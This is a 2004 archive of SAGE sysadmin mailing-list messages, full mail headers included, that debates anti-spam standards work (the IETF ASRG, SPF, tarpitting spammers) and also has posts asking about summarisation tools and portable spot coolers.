bs663385@pop.skynet.be Message-Id: In-Reply-To: <20040201214846.GY79295@bitshift.org> References: <401CBB1D.4920.1735130A@localhost> <20040201214846.GY79295@bitshift.org> Date: Sun, 1 Feb 2004 23:48:32 +0100 To: "Mark C. Langston" From: Brad Knowles Subject: Re: [SAGE] The sad and spammy state of virus filters Cc: sage-members@usenix.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 1:48 PM -0800 2004/02/01, Mark C. Langston wrote: > So perhaps I'll just write it, release it, and agitate > for its use. Then everyone can hate me along with AOL.) Which is precisely the thinking that killed the IETF/IRTF Anti-Spam Research Group -- Too many cowboys with their own agendas to feed, and not interested in really solving the actual problems. -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Sun Feb 1 14:55:12 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i11MtBcH009167 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 1 Feb 2004 14:55:11 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i11MtBnI009163 for sage-members-outgoing; Sun, 1 Feb 2004 14:55:11 -0800 (PST) Received: from ribbit.roadtoad.net (IDENT:root@ribbit.roadtoad.net [209.209.8.7]) by usenix.org (8.12.10/8.12.10) with ESMTP id i11MtAcG009156 for ; Sun, 1 Feb 2004 14:55:10 -0800 (PST) Received: from tethys.bitshift.org (c-24-6-19-105.client.comcast.net [24.6.19.105]) by ribbit.roadtoad.net (8.12.9/8.12.2) with ESMTP id i11Mt3iL021349; Sun, 1 Feb 2004 14:55:03 -0800 (PST) Received: by tethys.bitshift.org (Postfix, from userid 1001) id 9C06E22887; Sun, 1 Feb 2004 14:55:03 -0800 (PST) Date: Sun, 1 Feb 2004 14:55:03 -0800 From: "Mark C. Langston" To: Brad Knowles Cc: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040201225503.GD69255@bitshift.org> References: <401CBB1D.4920.1735130A@localhost> <20040201214846.GY79295@bitshift.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i X-Uptime: 2:53PM up 229 days, 18:03, 12 users, load averages: 0.04, 0.01, 0.00 Sender: owner-sage-members@usenix.org Precedence: bulk On Sun, Feb 01, 2004 at 11:48:32PM +0100, Brad Knowles wrote: > At 1:48 PM -0800 2004/02/01, Mark C. Langston wrote: > > > So perhaps I'll just write it, release it, and agitate > > for its use. Then everyone can hate me along with AOL.) > > Which is precisely the thinking that killed the IETF/IRTF > Anti-Spam Research Group -- Too many cowboys with their own agendas > to feed, and not interested in really solving the actual problems. > ...which was my point: The IETF process w.r.t. antispam is horribly broken, and has been for some time. The "market" (define that as you will) has decided to sidestep the standards process and act independently. In the face of that, isn't it incumbent upon us to ensure that whatever we're stuck with is the best possible solution, since the normal checks and balances that would insure this have fallen by the wayside? -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Sun Feb 1 15:05:50 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i11N5ncH009709 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 1 Feb 2004 15:05:50 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i11N5nO2009708 for sage-members-outgoing; Sun, 1 Feb 2004 15:05:49 -0800 (PST) Received: from biz.compata.com (compata.com [216.237.5.34]) by usenix.org (8.12.10/8.12.10) with ESMTP id i11N5lcG009698 for ; Sun, 1 Feb 2004 15:05:48 -0800 (PST) Received: from biz.compata.com by biz.compata.com (Linux 2.2.14) with ESMTP (8.11.6/8.11.6) id i11N5kH31928 for ; Sun, 1 Feb 2004 15:05:46 -0800 Message-Id: <200402012305.i11N5kH31928@biz.compata.com> X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.3 To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters In-reply-to: Your message of "Sun, 01 Feb 2004 23:48:32 +0100." From: Dave Close X-message-flag: Did you know MS Outlook is evil? X-Face: $?&5f7w4GjUJOb-[FmngebA}V`5Dv)QEdHg|d%mytVRm]'o}*{J6:PP%(LfN LmOcb#>"^wDF*|ZzuS??S*vLH[.miV( Which is precisely the thinking that killed the IETF/IRTF >Anti-Spam Research Group -- Too many cowboys with their own agendas >to feed, and not interested in really solving the actual problems. I've been impressed with the quality of the argument here, on both sides. It's been technical and reasoned, not political. But stepping back a bit, It seems to me that a necessary step to reaching consensus on a solution is to first agree on the problem. Based on the posting here (and other observations), I'd say that hasn't happened. Did the ASRG make any attempt to produce a problem statement, neutral with regard to solutions? To your knowledge, has anyone else? If so, I'd like to read it. I do tend to share the view that the current problem is the anti-spam techniques, more than the spam itself. We might paraphrase the old injunction, God save us from do-gooders. -- Dave Close, Compata, Costa Mesa CA "What right does Congress have to go dave@compata.com, +1 714 434 7359 around making laws just because they dhclose@alumni.caltech.edu deem it necessary?" -- Marion Barry From sage-members-owner@usenix.org Sun Feb 1 15:48:30 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i11NmUcH013576 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 1 Feb 2004 15:48:30 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i11NmUFM013575 for sage-members-outgoing; Sun, 1 Feb 2004 15:48:30 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i11NmRcH013570 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 1 Feb 2004 15:48:28 -0800 (PST) Received: from [10.0.1.3] (localhost.his.com [127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i11NmJxe012602; Sun, 1 Feb 2004 18:48:21 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: <200402012305.i11N5kH31928@biz.compata.com> References: <200402012305.i11N5kH31928@biz.compata.com> Date: Mon, 2 Feb 2004 00:45:08 +0100 To: Dave Close From: Brad Knowles Subject: Re: [SAGE] The sad and spammy state of virus filters Cc: sage-members@usenix.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 3:05 PM -0800 2004/02/01, Dave Close wrote: > But stepping > back a bit, It seems to me that a necessary step to reaching consensus > on a solution is to first agree on the problem. I think the chairs of the ASRG would agree. > Based on the posting > here (and other observations), I'd say that hasn't happened. I think the chairs of the ASRG would agree. 0.25 * ;-) > Did the ASRG make any attempt to produce a problem statement, neutral > with regard to solutions? They were working on it, yes. > To your knowledge, has anyone else? Probably, but I am not personally aware of who they might be or where the fruits of their efforts might be located. > If so, > I'd like to read it. So would I. I believe that the chairs of the ASRG would agree. > I do tend to share the view that the current > problem is the anti-spam techniques, more than the spam itself. We > might paraphrase the old injunction, God save us from do-gooders. Certainly, I believe that they are becoming the problem, as opposed to the solution. -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Sun Feb 1 16:55:03 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i120t2cH014675 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 1 Feb 2004 16:55:02 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i120t2di014674 for sage-members-outgoing; Sun, 1 Feb 2004 16:55:02 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i120t0cH014668 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 1 Feb 2004 16:55:01 -0800 (PST) Received: from [10.0.1.3] (localhost.his.com [127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i120srxe015079; Sun, 1 Feb 2004 19:54:55 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: <200402012305.i11N5kH31928@biz.compata.com> References: <200402012305.i11N5kH31928@biz.compata.com> Date: Mon, 2 Feb 2004 01:54:45 +0100 To: Dave Close From: Brad Knowles Subject: Re: [SAGE] The sad and spammy state of virus filters Cc: sage-members@usenix.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 3:05 PM -0800 2004/02/01, Dave Close wrote: > Did the ASRG make any attempt to produce a problem statement, neutral > with regard to solutions? To your knowledge, has anyone else? If so, > I'd like to read it. The ASRG home page as moved to , with the various "work in progress" documentation available at . The IRTF page for ASRG is at , which includes a description of their charter. -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Sun Feb 1 19:33:26 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i123XQcH016927 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 1 Feb 2004 19:33:26 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i123XPg1016926 for sage-members-outgoing; Sun, 1 Feb 2004 19:33:25 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i123XMcH016921 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 1 Feb 2004 19:33:24 -0800 (PST) Received: from [10.0.1.3] (localhost.his.com [127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i123XKxe031004 for ; Sun, 1 Feb 2004 22:33:21 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: Date: Mon, 2 Feb 2004 04:33:03 +0100 To: SAGE Members Mailing List From: Brad Knowles Subject: [SAGE] Summary & keyword tools... Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk Folks, I've been looking around trying to find good tools to generate summaries (something like Apple's Summarize Service) and extract keywords, preferably from web pages. I found the Perl package Lingua::EN::Keywords at and Lingua::EN::Summarize at . Ideally, the keyword extraction routine would use advanced analysis techniques, such as the WordNet stuff (see ). Surely I've missed something here. Surely this can't be it. Can anyone provide any pointers? -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Sun Feb 1 22:00:42 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i1260gcH019174 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 1 Feb 2004 22:00:42 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i1260gki019173 for sage-members-outgoing; Sun, 1 Feb 2004 22:00:42 -0800 (PST) Received: from biz.compata.com (compata.com [216.237.5.34]) by usenix.org (8.12.10/8.12.10) with ESMTP id i1260acG019168 for ; Sun, 1 Feb 2004 22:00:41 -0800 (PST) Received: from biz.compata.com by biz.compata.com (Linux 2.2.14) with ESMTP (8.11.6/8.11.6) id i1260ZH24032 for ; Sun, 1 Feb 2004 22:00:35 -0800 Message-Id: <200402020600.i1260ZH24032@biz.compata.com> X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.3 To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters In-reply-to: Your message of "Mon, 02 Feb 2004 01:54:45 +0100." From: Dave Close X-message-flag: Did you know MS Outlook is evil? X-Face: $?&5f7w4GjUJOb-[FmngebA}V`5Dv)QEdHg|d%mytVRm]'o}*{J6:PP%(LfN LmOcb#>"^wDF*|ZzuS??S*vLH[.miV( The ASRG home page as moved to , with the >various "work in progress" documentation available at >. Apropos my original question, there is a document listed with the description "summary of problems". Unfortunately, it appears to be empty. Still, I'm sure I'll learn a lot from the rest of the stuff. -- Dave Close, Compata, Costa Mesa CA +1 714 434 7359 dave@compata.com dhclose@alumni.caltech.edu "Quantum computing is a marvelous way to show the non- intuitive nature of quantum mechanics." -Gordon Moore From sage-members-owner@usenix.org Sun Feb 1 22:13:24 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i126DNcH019655 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 1 Feb 2004 22:13:23 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i126DNTR019654 for sage-members-outgoing; Sun, 1 Feb 2004 22:13:23 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i126DLcH019639 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 1 Feb 2004 22:13:21 -0800 (PST) Received: from [10.0.1.3] (localhost.his.com [127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i126DFxe055913; Mon, 2 Feb 2004 01:13:17 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: <200402020600.i1260ZH24032@biz.compata.com> References: <200402020600.i1260ZH24032@biz.compata.com> Date: Mon, 2 Feb 2004 07:13:06 +0100 To: Dave Close From: Brad Knowles Subject: Re: [SAGE] The sad and spammy state of virus filters Cc: sage-members@usenix.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 10:00 PM -0800 2004/02/01, Dave Close wrote: > Apropos my original question, there is a document listed with the > description "summary of problems". Unfortunately, it appears to be > empty. Still, I'm sure I'll learn a lot from the rest of the stuff. Looks like they haven't updated the links for things like Dave Crocker's draft (see ). You should be able to find the latest versions of the respective documents with a little work. -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Sun Feb 1 22:32:33 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i126WWcH020271 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 1 Feb 2004 22:32:32 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i126WWkq020270 for sage-members-outgoing; Sun, 1 Feb 2004 22:32:32 -0800 (PST) Received: from biz.compata.com (compata.com [216.237.5.34]) by usenix.org (8.12.10/8.12.10) with ESMTP id i126WUcG020265 for ; Sun, 1 Feb 2004 22:32:31 -0800 (PST) Received: from biz.compata.com by biz.compata.com (Linux 2.2.14) with ESMTP (8.11.6/8.11.6) id i126WTH26244 for ; Sun, 1 Feb 2004 22:32:30 -0800 Message-Id: <200402020632.i126WTH26244@biz.compata.com> X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.3 To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters In-reply-to: Your message of "Mon, 02 Feb 2004 07:13:06 +0100." From: Dave Close X-message-flag: Did you know MS Outlook is evil? X-Face: $?&5f7w4GjUJOb-[FmngebA}V`5Dv)QEdHg|d%mytVRm]'o}*{J6:PP%(LfN LmOcb#>"^wDF*|ZzuS??S*vLH[.miV(Looks like they haven't updated the links for things like Dave >Crocker's draft (see download.php/4/draft-crocker-spam-techconsider-02.txt>). Sorry, that link also produces an empty page for me. Exploring the site doesn't turn up anything similar, either, though I do see most of the other documents. Perhaps one has to be a "member" to see the document - though the description on the main site says it is public. -- Dave Close, Compata, Costa Mesa CA "'Always' and 'never' are two dave@compata.com, +1 714 434 7359 words you should always remember dhclose@alumni.caltech.edu never to use." --Wendell Johnson From sage-members-owner@usenix.org Sun Feb 1 23:37:02 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i127b1cH021592 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 1 Feb 2004 23:37:02 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i127b1d9021591 for sage-members-outgoing; Sun, 1 Feb 2004 23:37:01 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i127axcH021586 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 1 Feb 2004 23:37:00 -0800 (PST) Received: from [10.0.1.3] (localhost.his.com [127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i127atxe060441; Mon, 2 Feb 2004 02:36:56 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: <200402020632.i126WTH26244@biz.compata.com> References: <200402020632.i126WTH26244@biz.compata.com> Date: Mon, 2 Feb 2004 08:28:56 +0100 To: Dave Close From: Brad Knowles Subject: Re: [SAGE] The sad and spammy state of virus filters Cc: sage-members@usenix.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 10:32 PM -0800 2004/02/01, Dave Close wrote: > Sorry, that link also produces an empty page for me. Not surprising. > Exploring the > site doesn't turn up anything similar, either, though I do see most > of the other documents. Perhaps one has to be a "member" to see the > document - though the description on the main site says it is public. By "explore", I meant explore on the IETF web site, specifically in the "draft" section, looking for the latest version of "draft-crocker-spam-techconsider". Hmm. Weird. The IETF seems to have , but the page that ASRG links to doesn't exist. Sigh.... -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Mon Feb 2 11:02:33 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i12J2WcH018149 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 2 Feb 2004 11:02:32 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i12J2WFZ018148 for sage-members-outgoing; Mon, 2 Feb 2004 11:02:32 -0800 (PST) Received: from clas.ufl.edu (minotaur.clas.ufl.edu [128.227.148.248]) by usenix.org (8.12.10/8.12.10) with ESMTP id i12J2TcG018137 for ; Mon, 2 Feb 2004 11:02:30 -0800 (PST) X-Envelope-From: allan@cookie.org X-Envelope-To: Received: from cookie.org (allan-g4.clas.ufl.edu [128.227.148.121]) by clas.ufl.edu (8.11.7p1+Sun/8.11.7/clas1.17) with ESMTP id i12J2SE00883 for ; Mon, 2 Feb 2004 14:02:29 -0500 (EST) Date: Mon, 2 Feb 2004 14:02:27 -0500 Mime-Version: 1.0 (Apple Message framework v553) Content-Type: text/plain; charset=US-ASCII; format=flowed Subject: [SAGE] Spot cooler recommendations From: Allan West To: sage-members@usenix.org Content-Transfer-Encoding: 7bit Message-Id: <582FF90A-55B2-11D8-9A5A-0030654B6C44@cookie.org> X-Mailer: Apple Mail (2.553) Sender: owner-sage-members@usenix.org Precedence: bulk Greetings, Our physical plant has chilled-water cooling systems, which are fed by chiller plants in remote buildings. Occasionally the chilled water is out for some time due to planned and unplanned outages. For planned outages we've been requiring contractors to bring in spot coolers to keep certain critical machines cool. For unplanned outages, we're interested in getting a spot cooler which we can roll to the place it's needed and otherwise park in an unobtrusive corner. Do any of you currently own or rent spot coolers as additional or backup cooling? Do you have recommendations for any particular brand, model, or vendor? Thanks, and I'll summarize. Allan From sage-members-owner@usenix.org Mon Feb 2 15:22:28 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i12NMRcH024306 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 2 Feb 2004 15:22:28 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i12NMRgJ024305 for sage-members-outgoing; Mon, 2 Feb 2004 15:22:27 -0800 (PST) Received: from tiderace.darkuncle.net (tiderace.darkuncle.net [66.180.198.181]) by usenix.org (8.12.10/8.12.10) with ESMTP id i12NMPcH024297 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 2 Feb 2004 15:22:25 -0800 (PST) Received: from tiderace.darkuncle.net (sfrancis@localhost.darkuncle.net [127.0.0.1]) by tiderace.darkuncle.net (8.12.9/8.12.9) with ESMTP id i12N5k2j003104 for ; Mon, 2 Feb 2004 15:05:46 -0800 (PST) Received: (from sfrancis@localhost) by tiderace.darkuncle.net (8.12.9/8.12.9/Submit) id i12N5kot015047 for sage-members@usenix.org; Mon, 2 Feb 2004 15:05:46 -0800 (PST) Date: Mon, 2 Feb 2004 15:05:46 -0800 From: Scott Francis To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040202230545.GH21320@darkuncle.net> Mail-Followup-To: sage-members@usenix.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i X-Operating-System: OpenBSD X-PGP-Fingerprint: 7429 F75D D3F5 FA45 C6D7 D25B 59A0 7B8C 5537 F527 X-PGP-Key: http://darkuncle.net/pubkey.asc X-PGP-Notice: encryption subkey 2048g/0CEFEA3C has been revoked - please use 2048R/18A88182 instead (available at above URL) X-What-Happen: Somebody set up us the bomb. Sender: owner-sage-members@usenix.org Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [resending, since apparently S/MIME, along with other mime types, is verboten.] On Sun, Feb 01, 2004 at 08:38:53AM +0800, shades2@iinet.net.au said: [snip] > What would be nice is a way to massively SLOW down SMTP connections from a > host if it's suspected that they are spamming. If most major sites did this > there would be far less pain. http://www.openbsd.org/cgi-bin/man.cgi?query=spamd&apropos=0&sektion=0&manpath=OpenBSD+Current&arch=i386&format=html YMMV according to OS. :) (I think the real question is, how much abuse are you willing to put up with to avoid having to lose even an iota of your "freedom", real or imagined? I personally have reached my limit, and am willing to impose some limits on users in order to reduce the flood of abuse. I realize this chafes on many of us who recall the days when all hosts could pretty much be trusted, and email and Usenet were by and large full of, if not clueful, at least not purely abusive traffic. Things change. Times change. And we'd better be able to change with them, or we're going to find ourselves in whatever retirement home aging sysadmins go to, railing about how we will never implement any kind of filtering that requires us to give up "rights" ... and outside, the rest of the Internet will have long since moved on to a model that may be more restrictive, but in the end will prove more useful to the users who are paying for it. Users want something that Just Works. The current flood of spam is preventing that. Users don't care about inability to send mail from their laptop on the road, or their phone, or any other kind of technical limitation. They also don't care how we work around it. They only care that they can send mail, and that they don't have to deal with a flood of useless crap in their inbox every day. If doesn't impact the former much (from the perspective of the average user), and _does_ reduce the latter, then the users will vote with their dollars. When AOL starts losing customers due to SPF adoption or any other technical measure, I will start believing what Brad and some others have been saying. Until then, I'm waiting to see what the market decides.) - -- Scott Francis | darkuncle(at)darkuncle(dot)net | 0x5537F527 "I gave you the chance of aiding me willingly, but you have elected the way of pain!" -- Saruman, speaking for sysadmins everywhere -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (OpenBSD) iD8DBQFAHtfDWaB7jFU39ScRAlldAKC34OU+PPRUStiFOiApG767zUXxjwCgxu70 N4nsDw7QhQ3092vqmYe3lt4= =Ks5R -----END PGP SIGNATURE----- From sage-members-owner@usenix.org Mon Feb 2 16:06:02 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13062cH025664 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 2 Feb 2004 16:06:02 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i130620B025663 for sage-members-outgoing; Mon, 2 Feb 2004 16:06:02 -0800 (PST) Received: from ribbit.roadtoad.net (ribbit.roadtoad.net [209.209.8.7]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13060cG025658 for ; Mon, 2 Feb 2004 16:06:01 -0800 (PST) Received: from tethys.bitshift.org (c-24-6-19-105.client.comcast.net [24.6.19.105]) by ribbit.roadtoad.net (8.12.9/8.12.2) with ESMTP id i1305miL009312; Mon, 2 Feb 2004 16:05:48 -0800 (PST) Received: by tethys.bitshift.org (Postfix, from userid 1001) id AB33D22887; Mon, 2 Feb 2004 16:05:48 -0800 (PST) Date: Mon, 2 Feb 2004 16:05:48 -0800 From: "Mark C. Langston" To: Scott Francis Cc: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040203000548.GY69255@bitshift.org> References: <20040202230545.GH21320@darkuncle.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040202230545.GH21320@darkuncle.net> User-Agent: Mutt/1.4.1i X-Uptime: 4:03PM up 230 days, 19:13, 16 users, load averages: 0.03, 0.02, 0.00 Sender: owner-sage-members@usenix.org Precedence: bulk On Mon, Feb 02, 2004 at 03:05:46PM -0800, Scott Francis wrote: > Users don't care about inability to send mail from > their laptop on the road, or their phone, or any other kind of technical > limitation. ...until they're on the road, on their phone, or up against any other kind of technical limitation. Then they raise six kinds of hell, and blame you for not having the foresight for anticipating these problems when you proposed your brilliant new solution, and Iexpectyoutohavethisworkingbycloseofbusinesstodaythisisunacceptable. Sound familiar? If it doesn't, you're one of the lucky, lucky few. -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Mon Feb 2 17:06:20 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i1316KcH028064 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 2 Feb 2004 17:06:20 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i1316KGn028063 for sage-members-outgoing; Mon, 2 Feb 2004 17:06:20 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i1316HcH028056 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 2 Feb 